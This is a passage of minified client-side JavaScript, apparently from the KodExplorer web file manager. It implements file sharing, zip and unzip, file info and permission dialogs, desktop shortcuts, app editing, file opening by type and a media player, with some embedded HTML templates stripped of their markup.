n=G.app_host+"index.php?share/"+a+"&user="+G.user_id+"&sid="+e.sid;$(".content_info .share_url").val(n),(e.time_to||e.share_password||e.can_upload||e.code_read||e.not_download)&&$(".share_setting_more").removeClass("hidden"),$(".share_remove_button").removeClass("hidden"),$(".share_create_button").text(LNG.share_save)}},r=function(){$(".share_action .share_remove_button").unbind("click").click(function(){d([{type:"share",path:i.sid}],function(){ui.f5()})}),$(".content_info .share_more").unbind("click").click(function(){$(".share_setting_more").toggleClass("hidden")}),$(".share_action .share_create_button").unbind("click").click(function(){var e="";$(".share_dialog .content_info input[name]").each(function(){var i=urlEncode($(this).val());"checkbox"==$(this).attr("type")&&(i=$(this).attr("checked")?"1":""),e+="&"+$(this).attr("name")+"="+i}),h(e,function(e){e.code?(Tips.tips(LNG.success,!0),G.self_share=e.info,ui.f5(),s(e.data),$(".share_create_button").text(LNG.share_save)):Tips.tips(e)})}),$(".content_info .open_window").unbind("click").bind("click",function(){window.open($("input.share_url").val())}),$(".content_info .qrcode").unbind("click").bind("click",function(){core.qrcode($("input.share_url").val())});var e=$("input.share_url"),t=e.get(0);e.unbind("hover click").bind("hover click",function(){$(this).focus();var i=e.val().length;if($.browser.msie){var a=t.createTextRange();a.moveEnd("character",-t.value.length),a.moveEnd("character",i),a.moveStart("character",0),a.select()}else t.setSelectionRange(0,i)})};s(i),r()},v=function(e){$.ajax({url:"index.php?setting/set&k=wall&v="+urlEncode(e),dataType:"json",success:function(e){Tips.tips(e)}})},_=function(e,i,t,a,n){if(console.log(e,i,t,a,n),!(1>e.length)){var o,s=G.myhome+"/desktop/";a&&(s=core.pathFather(e)),o="folder"==t?"ui.path.list(hashDecode('"+hashEncode(e)+"'));":"ui.path.open(hashDecode('"+hashEncode(e)+"'));";var r=urlEncode(s+i+".oexe"),l=core.getPathIcon(e);""==l.icon&&(l.icon=t),$.ajax({url:"./index.php?explorer/mkfile&path="+r,type:"POST",dataType:"json",data:{content:jsonEncode({type:"app_link",content:o,icon:l.icon})},success:function(e){Tips.tips(e),e.code&&(ShareData.frameTop("",function(e){e.ui.f5()}),"function"==typeof n&&n(e.info))}})}},g=function(e,i){if(!(1>e.length)){var t=core.pathThis(e),a=core.pathFather(e);jsrun="core.explorerCode('"+urlEncode(e)+"');";var n=urlEncode(a+t+"_project.oexe");$.ajax({url:"./index.php?explorer/mkfile&path="+n,type:"POST",dataType:"json",data:'content={"type":"app_link","content":"'+jsrun+'","icon":"folder.png"}',success:function(e){e.code&&"function"==typeof i&&i(e.info)}})}},b=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCute",type:"POST",dataType:"json",data:n(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},y=function(e,i){e&&(Tips.loading(LNG.moving),setTimeout(function(){var t="index.php?explorer/pathPast&path="+urlEncode(e);$.ajax({url:t,dataType:"json",error:core.ajaxError,success:function(e){Tips.close(e.data,e.code),"function"==typeof i&&i(e.info)}})},50))},x=function(i){var t={};t.file_info=e("./tpl/fileinfo/file_info.html"),t.path_info=e("./tpl/fileinfo/path_info.html"),t.path_info_more=e("./tpl/fileinfo/path_info_more.html"),1>i.length&&(i=[{path:G.this_path,type:"folder"}]);var a="info";1==i.length&&(a="file"==i[0].type?core.pathExt(i[0].path):"folder"),Tips.loading(LNG.getting),core.fileInfo(n(i),function(e){if(!e.code)return Tips.close(e),void 0;Tips.close(LNG.get_success,!0);var n="path_info_more",o=LNG.info;1==i.length&&(n="folder"==i[0].type?"path_info":"file_info",o=core.pathThis(i[0].path),o.length>15&&(o=o.substr(0,15)+"... "+LNG.info));var s=template.compile(t[n]),r=UUID();e.data.is_root=G.is_root,e.data.LNG=LNG,e.data.atime=date(LNG.time_type_info,e.data.atime),e.data.ctime=date(LNG.time_type_info,e.data.ctime),e.data.mtime=date(LNG.time_type_info,e.data.mtime),e.data.size_friendly=core.fileSize(e.data.size);var l=$.dialog({id:r,padding:5,ico:core.iconSmall(a),fixed:!0,title:o,content:s(e.data),ok:!0}),c=15*$(".aui_outer .pathinfo").length;l.DOM.wrap.css({left:"+="+c+"px",top:"+="+c+"px"}),k(r,i)})},k=function(e,i){var t=$("."+e);t.find(".open_window").bind("click",function(){window.open(t.find("input.download_url").val())}),t.find(".qrcode").unbind("click").bind("click",function(){core.qrcode(t.find("input.download_url").val(),t.find(".qrcode").get(0))});var a=t.find(".file_md5_loading");if(1==a.length){var i=n(i);i+="&get_md5=1",core.fileInfo(i,function(e){a.removeClass("file_md5_loading"),e.code?a.html(e.data.file_md5):a.html(LNG.error)})}var o=t.find("input.download_url"),s=o.get(0);o.unbind("hover click").bind("hover click",function(){$(this).focus();var e=o.val().length;if($.browser.msie){var i=s.createTextRange();i.moveEnd("character",-s.value.length),i.moveEnd("character",e),i.moveStart("character",0),i.select()}else s.setSelectionRange(0,e)}),t.find(".edit_chmod").click(function(){var e=$(this).parent().find("input"),t=$(this);$.ajax({url:"index.php?explorer/pathChmod&mod="+e.val(),type:"POST",data:n(i),beforeSend:function(){t.text(LNG.loading)},error:function(){t.text(LNG.button_save)},success:function(e){t.text(e.data).animate({opacity:.6},400,0).delay(1e3).animate({opacity:1},200,0,function(){t.text(LNG.button_save)}),e.code&&ui.f5()}})})},w=function(e){if(core.authCheck("explorer:fileDownload")&&!(1>e.length)){var i="index.php?explorer/zipDownload";G.share_page!==void 0&&(i="index.php?share/zipDownload&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.zip_download_ready)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e);var i="index.php?explorer/fileDownloadRemove&path="+urlEncode(e.info);G.share_page!==void 0&&(i="index.php?share/fileDownloadRemove&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e.info)),$.dialog({icon:"succeed",title:!1,time:2,content:LNG.download_ready+"..."}),$('').appendTo("body")}})}},L=function(e,i){1>e.length||$.ajax({url:"index.php?explorer/zip",type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.ziping)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}})},N=function(e,i,t){if(e){var a=function(e){$.ajax({url:e,beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof i&&i(e)}})},n="index.php?explorer/unzip&path="+urlEncode(e);"to_this"==t&&(n+="&to_this=1"),"unzip_to_folder"==t?core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(e){n+="&path_to="+e,a(n)}):a(n)}},C=function(e,i,t){i&&$.ajax({url:"index.php?explorer/pathCuteDrag",type:"POST",dataType:"json",data:n(e)+"&path="+urlEncode(i+"/"),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof t&&t(e.info)}})},T=function(e,i,t,a){i&&(void 0==a&&(a=0),$.ajax({url:"index.php?explorer/pathCopyDrag",type:"POST",dataType:"json",data:n(e)+"&path="+urlEncode(i+"/")+"&filename_auto="+Number(a),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof t&&t(e.info)}}))},S=function(){var e=function(e,i){var t='null!
';if(0!=e.length){t=''+LNG.clipboard_state+LNG[i]+" ";for(var a=40,n=0;e.length>n;n++){var o=e[n],s=o.path;s=a>s.length?s:"..."+s.substr(-a),t+="
"+o.type+":
"+s+" "}t+="
"}return t};$.ajax({url:"index.php?explorer/clipboard",dataType:"json",error:core.ajaxError,success:function(i){i.code&&$.dialog({title:LNG.clipboard,padding:0,height:200,width:400,content:e(i.data,i.info)})}})},j=function(e,i,t){var a=function(){$.ajax({url:"index.php?fav/del&name="+urlEncode(e),dataType:"json",async:!1,success:function(e){"function"==typeof i&&i(e)}})};return t?(a(),void 0):($.dialog({id:"dialog_fav_remove",fixed:!0,icon:"question",title:LNG.fav_remove,width:200,padding:"40px 20px",content:LNG.fav_remove+"?",ok:a,cancel:!0}),void 0)},z=function(e){if(e){if(-1==trim(core.pathClear(e.path),"/").indexOf("/")){var i=core.getPathIcon(e.path,e.name);""!=i.icon&&(e.ext=i.icon,e.name=i.name)}$.ajax({url:"index.php?fav/add",dataType:"json",data:e,success:function(e){Tips.tips(e),e.code&&"desktop"!=Config.pageApp&&ui.tree.refreshFav()}})}},P=function(e){var i={};return i.type=e.find("input[type=radio]:checked").val(),i.content=e.find("textarea").val(),i.group=e.find("[name=group]").val(),e.find("input[type=text]").each(function(){var e=$(this).attr("name");i[e]=$(this).val()}),e.find("input[type=checkbox]").each(function(){var e=$(this).attr("name");i[e]="checked"==$(this).attr("checked")?1:0}),i},E=function(e){e.find(".type input").change(function(){var i=$(this).attr("apptype");e.find("[data-type]").addClass("hidden"),e.find("[data-type="+i+"]").removeClass("hidden")}),e.find(".app_edit_select_icon").unbind("click").bind("click",function(){var i=G.basic_path+"static/images/file_icon/icon_app/";G.is_root||(i=""),core.api.pathSelect({type:"file",title:LNG.path_api_select_file,firstPath:i},function(i){var i=core.path2url(i);e.find(".app_edit_select_icon_input").val(i)})}),e.find(".size-full").unbind("click").bind("click",function(){var i=$(this).prop("checked");i?(e.find("[name=width]").val("100%"),e.find("[name=height]").val("100%")):(e.find("[name=width]").val("800"),e.find("[name=height]").val("600"))})},D=function(i,t,a){var n,o,s,r=LNG.app_create,l=UUID(),c=e("./tpl/app_edit.html"),d=template.compile(c);switch(void 0==a&&(a="user_edit"),"root_edit"==a&&(i=i),"user_edit"==a||"root_edit"==a?(r=LNG.app_edit,s=d({LNG:LNG,uuid:l,data:i})):s=d({LNG:LNG,uuid:l,data:{}}),$.dialog({fixed:!0,width:450,id:l,padding:15,title:r,content:s,button:[{name:LNG.preview,callback:function(){return core.openApp(P(n)),!1}},{name:LNG.button_save,focus:!0,callback:function(){var e=P(n);switch(a){case"user_add":var s=urlEncode(G.this_path+e.name);o="./index.php?app/user_app&action=add&path="+s;break;case"user_edit":o="./index.php?app/user_app&path="+urlEncode(i.path);break;case"root_add":o="./index.php?app/add&name="+urlEncode(e.name);break;case"root_edit":o="./index.php?app/edit&name="+urlEncode(e.name)+"&old_name="+urlEncode(i.name);break;default:}$.ajax({url:o,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(e))},beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){if(Tips.close(e),e.code)if("root_edit"==a||"root_add"==a){if(!e.code)return;ShareData.frameTop("Openapp_store",function(e){e.App.reload()})}else"function"==typeof t?t():ui.f5()}})}}]}),n=$("."+l),G.is_root||$(".appbox .appline .right a.open").remove(),i.group&&n.find("option").eq(i.group).attr("selected",1),n.find(".aui_content").css("overflow","inherit"),a){case"user_edit":n.find(".name").addClass("hidden"),n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("option[value="+i.group+"]").attr("checked",!0);break;case"user_add":n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_add":n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_edit":n.find("option[value="+i.group+"]").attr("selected",!0);break;default:}E(n)},F=function(){core.appStore()},O=function(e){e&&4>e.length&&"http"!=e.substring(0,4)||$.ajax({url:"./index.php?app/get_url_title&url="+e,dataType:"json",beforeSend:function(){Tips.loading()},success:function(i){var t=i.data;Tips.close(i);var a={content:e,type:"url",desc:"",group:"others",icon:"internet.png",name:t,resize:1,simple:0,height:"70%",width:"90%"},n=urlEncode(G.this_path+t);e="./index.php?app/user_app&action=add&path="+n,$.ajax({url:e,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(a))},success:function(e){Tips.close(e),e.code&&ui.f5()}})}})};return{strSort:s,appEdit:D,appList:F,appAddURL:O,share:u,shareBox:f,setBackground:v,createLink:_,createProject:g,newFile:r,newFolder:l,rname:c,unZip:N,zipDownload:w,zip:L,copy:p,cute:b,info:x,remove:d,cuteDrag:C,copyDrag:T,past:y,clipboard:S,fav:z,favRemove:j}}),define("app/common/tpl/share.html",[],'\n
\n
{{LNG.share_title}}
\n
\n
\n
\n
\n
\n'),define("app/common/tpl/fileinfo/file_info.html",[],"\n {{if download_path}}\n
\n
{{LNG.download_address}}:
\n
\n
\n
\n {{LNG.open}} \n \n
\n
\n
\n
\n {{/if}}\n\n
\n
\n
{{LNG.address}}:
\n
{{path |window.htmlEncode}}
\n
\n
\n
\n
{{LNG.size}}:
\n
{{size_friendly}} ({{size}} Byte)
\n
\n
\n\n {{if file_md5}}\n
\n
MD5:
\n
{{file_md5}}
\n
\n
\n {{/if}}\n\n {{if image_size}}\n
\n
{{LNG.image_size}}:
\n
{{image_size.width}} × {{image_size.height}}
\n
\n
\n {{/if}}\n\n
\n
\n
{{LNG.create_time}}
\n
{{ctime}}
\n
\n
\n
\n
{{LNG.modify_time}}
\n
{{mtime}}
\n
\n
\n
\n
{{LNG.last_time}}
\n
{{atime}}
\n
\n
\n\n \n
\n
\n
{{LNG.permission}}:
\n
{{mode}}
\n
\n
\n {{if is_root==\"1\"}}\n
\n
{{LNG.permission_edit}}:
\n
\n {{LNG.button_save}}
\n
\n
\n {{/if}}\n
\n"),define("app/common/tpl/fileinfo/path_info.html",[],"\n
\n
{{LNG.address}}:
\n
{{path |window.htmlEncode}}
\n
\n
\n
\n
{{LNG.size}}:
\n
{{size_friendly}} ({{size}} Byte)
\n
\n
\n
\n
{{LNG.contain}}:
\n
{{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}
\n
\n
\n
\n
\n
{{LNG.create_time}}
\n
{{ctime}}
\n
\n
\n
\n
{{LNG.modify_time}}
\n
{{mtime}}
\n
\n
\n
\n
{{LNG.last_time}}
\n
{{atime}}
\n
\n
\n
\n
\n
{{LNG.permission}}:
\n
{{mode}}
\n
\n
\n {{if is_root==\"1\"}}\n
\n
{{LNG.permission_edit}}:
\n
\n {{LNG.button_save}}
\n
\n
\n {{/if}}\n
\n"),define("app/common/tpl/fileinfo/path_info_more.html",[],"\n
\n
{{LNG.info}}:
\n
\n {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}
\n
\n
\n
\n
\n
{{LNG.size}}:
\n
{{size_friendly}} ({{size}} Byte)
\n
\n
\n \n
\n
\n
{{LNG.permission}}:
\n
{{mode}}
\n
\n
\n {{if is_root==\"1\"}}\n
\n
{{LNG.permission_edit}}:
\n
\n {{LNG.button_save}}
\n
\n
\n {{/if}}\n
\n"),define("app/common/tpl/app_edit.html",[],"\n
\n
\n
{{LNG.app_desc}}
\n
\n
\n
\n
\n
{{LNG.app_icon}}
\n
\n \n \n \n
\n
\n
\n
\n
{{LNG.app_group}}
\n
\n \n {{LNG.app_group_others}} \n {{LNG.app_group_game}} \n {{LNG.app_group_tools}} \n {{LNG.app_group_reader}} \n {{LNG.app_group_movie}} \n {{LNG.app_group_music}} \n {{LNG.app_group_life}} \n \n
\n
\n
\n
\n
\n
{{LNG.app_display}}
\n
\n \n {{LNG.app_display_border}} \n \n {{LNG.app_display_size}} \n
\n
\n
\n
\n
\n
{{LNG.app_code}}
\n
{{LNG.app_code}}
\n
{{LNG.app_url}}
\n
\n
\n
\n
\n"),define("app/common/pathOpen",["./myPlayer"],function(e){var i=function(e,i){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;
+if("folder"==i)return"explorer"==Config.pageApp?ui.path.list(e+"/"):core.explorer(e),void 0;if("oexe"!=i){if(i=core.pathExt(e),l(i))return c(e),void 0;if("swf"==i)return $.dialog({resize:!0,fixed:!0,ico:core.icon("swf"),title:core.pathThis(e),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(e))}),void 0;if("url"==i)return core.fileGet(e,function(i){var t=i.match(/URL=(.*)/);t.length>=2?window.open(t[1]):s(e)}),void 0;if("webloc"==i)return core.fileGet(e,function(i){try{var t=$($.parseXML(i)),a=t.find("string").text();window.open(a)}catch(n){s(e)}}),void 0;if("html"==i||"htm"==i){var a=core.path2url(e);return core.openDialog(a,core.icon("html"),core.pathThis(e)),void 0}if(inArray(core.filetype.image,i)){var a=e;return-1==a.indexOf("http:")&&(a=core.path2url(a)),MaskView.image(a),void 0}if(inArray(core.filetype.music,i)||inArray(core.filetype.movie,i)){var a=core.path2url(e,!1);return p([{url:a,name:core.pathThis(e),ext:i}]),void 0}return"pdf"==i?(core.fileLink(e,function(t){var a="./lib/plugins/pdfjs/web/viewer.html?file="+urlEncode(t);if(canvasSupport())core.openDialog(a,core.icon(i),htmlEncode(core.pathThis(e)));else{var n="pdf"+UUID(),o='";$.dialog({resize:!0,fixed:!0,ico:core.icon(i),title:core.pathThis(e),width:800,height:400,padding:0,content:o}),new PDFObject({url:t}).embed(n)}}),void 0):inArray(core.filetype.doc,i)?(c(e),void 0):inArray(core.filetype.text,i)?(s(e),void 0):("editor"==Config.pageApp?Tips.tips(i+LNG.edit_can_not,!1):t(e,""),void 0)}if("string"==typeof e){var n=e;"string"!=typeof e&&(n=e.content.split("'")[1]),core.fileGet(n,function(e){var i=jsonDecode(e);i.name=core.pathThis(n),core.openApp(i)})}else core.openApp(e)}},t=function(e,i){var t='";$.dialog({id:"open_unknow_dialog",fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:30,content:t,cancel:!0}),$(".unknow_file a").unbind("click").bind("click",function(){$.dialog.list.open_unknow_dialog.close()})},a=function(e){$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),$('').appendTo("body")},n=function(e){if(core.authCheck("explorer:fileDownload",LNG.no_permissiondownload)&&e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var i="index.php?explorer/fileDownload&path="+urlEncode(e);G.share_page!==void 0&&(i="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),a(i)}},o=function(e){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var i=core.path2url(e);window.open(i)}},s=function(e){if(e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t=core.pathExt(e);return"Win32"==navigator.platform||"Windows"==navigator.platform,inArray(core.filetype.doc,t)?(c(e,!0),void 0):(core.pathThis(e),inArray(core.filetype.bindary,t)||inArray(core.filetype.music,t)||inArray(core.filetype.image,t)||inArray(core.filetype.movie,t)||inArray(core.filetype.doc,t)?(i(e,t),void 0):(r(e),void 0))}},r=function(e){var i=ShareData.frameTop();if(i.Editor!==void 0)return i.Editor.add(urlEncode(e)),void 0;if("editor"==Config.pageApp)return ShareData.frameChild("OpenopenEditor",function(i){i.Editor.add(urlEncode(e))}),void 0;if(ShareData.frameTop("OpenopenEditor")){var t=i.$.dialog.list.openEditor,a=0;t&&("hidden"==$("."+t.config.id).css("visibility")&&(a=200),t.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(i){i.Editor.add(urlEncode(e))})},a)}else{var n="./index.php?editor/edit#filename="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/edit&user="+G.user+"&sid="+G.sid+"#filename="+urlEncode(e)),core.openDialog(n,core.icon("edit"),htmlEncode(e),"openEditor")}},l=function(e){if(!G.kodOffice)return!1;var i=".docx.doc.odt.rtf.djvu.fb2.epub.xps.//.docm.dotm.dot.dotx.mht.//.wps.wpt.";return i+=".xls.xlsx.ods.csv//.xlt.xltx.xlsb.xlsm.//.et.ett.",i+=".pps.ppsx.ppt.pptx.odp//.pot.potx.pptm.ppsm.potm.//.dps.dpt.",-1===i.indexOf("."+e)?!1:!0},c=function(e,i){var t="./index.php?explorer/officeView&path="+urlEncode(e);return G.share_page!==void 0&&(t=G.app_host+"index.php?share/officeView&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),i!==void 0&&(t+="&is_edit=1"),"dialog"==G.kodOffice?(core.openDialog(t,core.icon(core.pathExt(e)),htmlEncode(core.pathThis(e))),void 0):(window.open(t),void 0)},d=function(i){if(i){"string"==typeof i&&(i=[i]);var t=e("./myPlayer");t.play(i)}},p=function(e){var i=ShareData.frameTop();i.ui.pathOpen.playerInstance(e)};return{open:i,playerInstance:d,play:p,openEditor:s,openEditorForce:r,openWindow:o,downloadUrl:a,download:n}}),define("app/common/myPlayer",[],function(e){var i="",t="",a="music_player",n="movie_player",o=function(e){var n=e==a?"mp3":"mp4",o="."+e+"_dialog",s=i,l={width:"70%",height:"60%"};e==a&&(s=t,l={width:"320px",height:"420px"});var c=$.dialog({id:e+"_dialog",simple:!0,ico:core.icon(n),title:"player",width:l.width,height:l.height,content:s,resize:!0,padding:0,fixed:!0,close:function(){var i=r(e);i.jPlayer("destroy")}});return c.DOM.wrap.addClass("myJPlayer"),$(o).find(".jPlayer-container")},s=function(e){return"music"==e?a:(void 0==e&&(e="mp3"),inArray(core.filetype.music,e)?a:n)},r=function(e){var i="."+e+"_dialog",t=$(i);return 0==t.length?!1:t.find(".jPlayer-container")},l=function(e){var i={mp4:"m4v",m4v:"m4v",mov:"m4v",ogv:"ogv",webm:"webmv",webmv:"webmv",flv:"flv",f4v:"flv",f4a:"flv",mp3:"mp3",wav:"wav",m4a:"mp3",aac:"mp3",ogg:"oga",oga:"oga",webma:"webma"},t=e.ext,a=i[t],n={extType:a,title:e.name,url:e.url,solution:"flv"==t||"f4v"==t?"flash":"html,flash"};return n[a]=e.url,n},c=function(e,i){if(i){var t=e.parents(".jPlayer"),a={solution:i.solution,swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf"};t.attr("id",UUID()),e.jPlayer("destroy"),e.find(".jPlayer-container").children().remove(),e.jPlayer(jPlayerConfigInit(t,a)),e.find("object").length>0?t.addClass("flashPlayer"):t.removeClass("flashPlayer"),e.jPlayer("setMedia",i),setTimeout(function(){e.jPlayer("play")},150),jPlayerBindControl(t),setTimeout(function(){var e=t.parents(".dialog-simple").find(".aui_titleBar").attr("id"),a=$.dialog.list[e];a&&a.title(i.title)},100)}},d=function(e){var i=e[0].ext,t=s(i),n=r(t),d=l(e[0]);n||(n=o(t),t==a&&p.init()),t==a&&(d=p.insert(n,e,i)),c(n,d);try{$.dialog.list[t+"_dialog"].display(!0)}catch(u){}},p=function(){var e=[],i=0,t=null,a="circle",n=function(a,n){t=a;for(var s=e.length,r=0;n.length>r;r++){var c=!1,d=0;for(d=0;e.length>d;d++)if(e[d].url==n[r].url){c=!0;break}if(c){if(r==n.length-1)return i!=d&&o(d),!1}else e.push(l(n[r]))}return e.length==s?!1:(i=e.length-1,u(!0),e[i])},o=function(a){a=0>=a?0:a,a=a>=e.length-1?e.length-1:a,i=a;var n=e[a];c(t,n),u(!1)},s=function(t){switch(a){case"circle":"next"==t?e.length-1>i?o(i+1):o(0):0>i-1?o(e.length-1):o(i-1);break;case"rand":o(roundFromTo(0,e.length)-1);break;case"one":o(i);break;default:}},r=function(i){e.remove(i),o(i),u(!0)},d=function(i){var t=e[i],a=t.url+"&download=1";ui.pathOpen.downloadUrl(a)},p=function(){i=0,e=[],a="circle";var t=$(".jPlayer-music"),n=[{icon:"icon-retweet",loop:"circle"},{icon:"icon-random",loop:"rand"},{icon:"icon-refresh loop-one",loop:"one"}];t.find(".change-loop").unbind("click").bind("click",function(){var e=parseInt($(this).attr("data-loop"))+1;e=0>e?0:e,e=e>=n.length?0:e;var i=n[e];$(this).attr("data-loop",e).find("i").attr("class",i.icon),a=i.loop}),t.find(".play-backward").unbind("click").bind("click",function(){s("prev")}),t.find(".play-forward").unbind("click").bind("click",function(){s("next")}),t.find(".show-list").unbind("click").bind("click",function(e){t.parents(".music_player_dialog").toggleClass("hide-play-list"),stopPP(e)}),t.find(".play-list .item").die("click").live("click",function(e){var i=$(this).index();o(i),stopPP(e)}),t.find(".play-list .remove").die("click").live("click",function(e){var i=$(this).parents(".item"),t=i.index();return i.remove(),r(t),stopPP(e),!1}),t.find(".play-list .download").die("click").live("click",function(e){var i=$(this).parents(".item").index();return d(i),stopPP(e),!1})},u=function(a){var n=$(t).parents(".jPlayer");if(a){var o="";$.each(e,function(e,i){o+=' '+i.title+'
'}),n.find(".play-list .content").html(o)}return 0!=e.length&&e[i]?(n.find(".item-title").html(e[i].title),n.find(".item").removeClass("this"),n.find(".item:eq("+i+")").addClass("this"),f(n.find(".player-bg")),void 0):(i=0,n.find(".item-title").html(" "),t.jPlayer("destroy"),t.find(".jPlayer-container").children().remove(),void 0)},f=function(e){var i=h(),t=h(),a="160deg",n="background-image: -webkit-linear-gradient("+a+", "+i+", "+t+"); background-image: -moz-linear-gradient("+a+", "+i+", "+t+"); background-image: -o-linear-gradient("+a+", "+i+", "+t+"); background-image: -ms-linear-gradient("+a+", "+i+", "+t+"); background-image: linear-gradient("+a+", "+i+", "+t+");";e.attr("style",n)},h=function(){return"#"+(16777215*Math.random()<<0).toString(16)};return{insert:n,init:p}}(),u=function(a){var o=s(a[0].ext);o==n?e.async(["lib/jPlayer/kod.flat/movie.html","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(e){i=e,d(a)}):e.async(["lib/jPlayer/kod.flat/music.html","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(e){t=e,d(a)})},f=function(i,t){e.async(["lib/jPlayer/jquery.jplayer.min.js"],function(){var e={solution:"html",swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf",media:{title:"",mp3:i},ready:function(){t.jPlayer("setMedia",e.media).jPlayer("play")}};t.jPlayer("destroy").children().remove(),t.jPlayer(e)})};return{play:u,playSound:f}}),define("app/src/explorer/tpl/file_create.html",[],"\n {{if list_type=='list'}}
{{/if}}\n
\n
\n {{if type=='folder'}}\n {{\"folder\" | core.icon}}
\n {{else}}\n {{ext | core.icon}}
\n {{/if}}\n \n {{if list_type=='icon'}}\n \n {{else}}\n \n {{/if}}\n
\n \n
\n
\n
\n"),define("app/src/explorer/fileLight",[],function(){var e=$(),i=$(),t=function(){var e;e="list_split"!=G.user_config.list_type?$(".bodymain .fileContiner .file"):$(".bodymain .fileContiner .split_select .file"),i=e,f("clear"),n()},a=function(){var i=$(Config.SelectClass);e=i,i.length>1&&c(i),f("menufile"),o()},n=function(){if(G.json_data&&G.json_data.filelist){var e=G.json_data.filelist.length+G.json_data.folderlist.length;$(".file_select_info .item_num").html(e+LNG.folder_info_item)}},o=function(){var i="",t=0,a=e;0!=a.length&&(i=a.length+LNG.folder_info_item_select,a.each(function(){t+=parseInt($(this).attr("data-size"))}),0!=t&&(i=i+" ("+core.fileSize(t)+")")),$(".file_select_info .item_select").html(i)},s=function(i){var t=e;if(void 0==i&&t&&t.length>=1&&(i=$(t[t.length-1])),void 0!=i&&!i.inScreen()){var a=$(".bodymain");"list_split"==G.user_config.list_type&&(a=i.parent());var n=i.offset().top-a.offset().top-a.height()/2+a.scrollTop();a.stop(!0).animate({scrollTop:n},100)}},r=function(e){return core.pathThis(h(e))},l=function(e){return e.find(".ico").attr("filetype")},c=function(e){if(G.json_data.info)switch(G.json_data.info.path_type){case G.KOD_USER_RECYCLE:return;case G.KOD_USER_FAV:return e.removeClass("menuFavPath").addClass("menuFavPathMore"),void 0;case G.KOD_USER_SHARE:if(-1==trim(G.this_path,"/").search("/"))return e.removeClass("menuSharePath").addClass("menuSharePathMore"),void 0;case G.KOD_GROUP_ROOT_SELF:case G.KOD_GROUP_ROOT_ALL:return e.removeClass("menuGroupRoot").addClass("menuGroupRootMore"),void 0;default:}e.removeClass("menufile menufolder").addClass("menuMore"),f()},d=function(e){var i={fileBox:"menufile",folderBox:"menufolder",menuRecyclePath:"menuRecyclePath",menuSharePathMore:"menuSharePath",menuFavPathMore:"menuFavPath",menuGroupRootMore:"menuGroupRoot",menuDefault:"menuDefault"};e.removeClass("menuMore");for(var t in i)e.hasClass(t)&&e.addClass(i[t]);f()},p=function(){var i=[];if(0!=e.length)return e.each(function(){i.push(h($(this)))}),i},u=function(){if(0!=e.length){var i=e;i.removeClass(Config.SelectClassName),i.each(function(){d($(this))}),e=$(),f(),o()}},f=function(){0==e.length?($(".drop-menu-action li").addClass("disabled"),$(".drop-menu-action #past").removeClass("disabled"),$(".drop-menu-action #info").removeClass("disabled"),$(".kod_path_tool #download").addClass("disabled")):($(".drop-menu-action li").removeClass("disabled"),$(".kod_path_tool #download").removeClass("disabled"),e.length>1?$(".drop-menu-action").find("#open,#rname,#past,#share,#createLink,#add_to_fav").addClass("disabled"):$(".drop-menu-action").find("#open,#rname,#past,#share,#createLink,#add_to_fav").removeClass("disabled"))},h=function(e,i){return void 0==i&&(i="data-path"),void 0!=e.attr("data-path-children")&&(i="data-path-children"),pathHashDecode(e.attr(i))};return{init:t,name:r,path:h,type:l,fileListSelect:function(i){return i&&(e=i),e},fileListAll:function(e){return e&&(i=e),i},select:a,setInView:s,setMenu:c,resumeMenu:d,getAllName:p,clear:u,menuAction:f}}),define("app/src/explorer/fileSelect",[],function(){var 